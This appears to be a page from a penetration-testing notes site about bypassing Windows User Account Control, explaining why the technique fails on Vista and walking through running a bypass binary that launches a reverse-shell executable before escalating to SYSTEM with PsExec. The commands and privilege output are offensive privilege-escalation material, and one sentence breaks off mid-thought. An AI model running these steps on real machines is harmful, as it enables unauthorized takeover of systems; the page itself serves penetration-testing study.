Bypass UAC on Windows Vista

The Bypass UAC attack does not work on Windows Vista. In Windows Vista, the user has to acknowledge every privileged action. This is the same as the Always Notify option in Windows 7 and later. The UAC settings in Windows 7 came about because UAC became a symbol of what was “wrong” with Windows Vista. Microsoft created UAC settings and made some of their built-in programs auto-elevate by default to prompt the user less often. These changes for user convenience created the loophole described in this post.

Well, back to the action. Here’s a quick rundown on using the exploit. Confirm our limited privileges

C:\BypassUAC>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Run the bypass exe

C:\BypassUAC>bypassuac-x64.exe /c C:\BypassUAC\reverse_4444.exe
bypassuac-x64.exe /c C:\BypassUAC\reverse_4444.exe

At the listener verify our enhanced privileges and run PsExec

Now we have SYSTEM

Misc

You may have seen the sdclt.exe UAC bypass but as this blog notes, it works only for Windows 10, since in 7

The manifest for sdclt.exe in Windows 7 has the requestedExecutionLevel set to “AsInvoker”, preventing auto-elevation when started from medium integrity.

PreviousBypassing UAC with Kali’s bypassuacNextPassword Attack

Last updated

Was this helpful?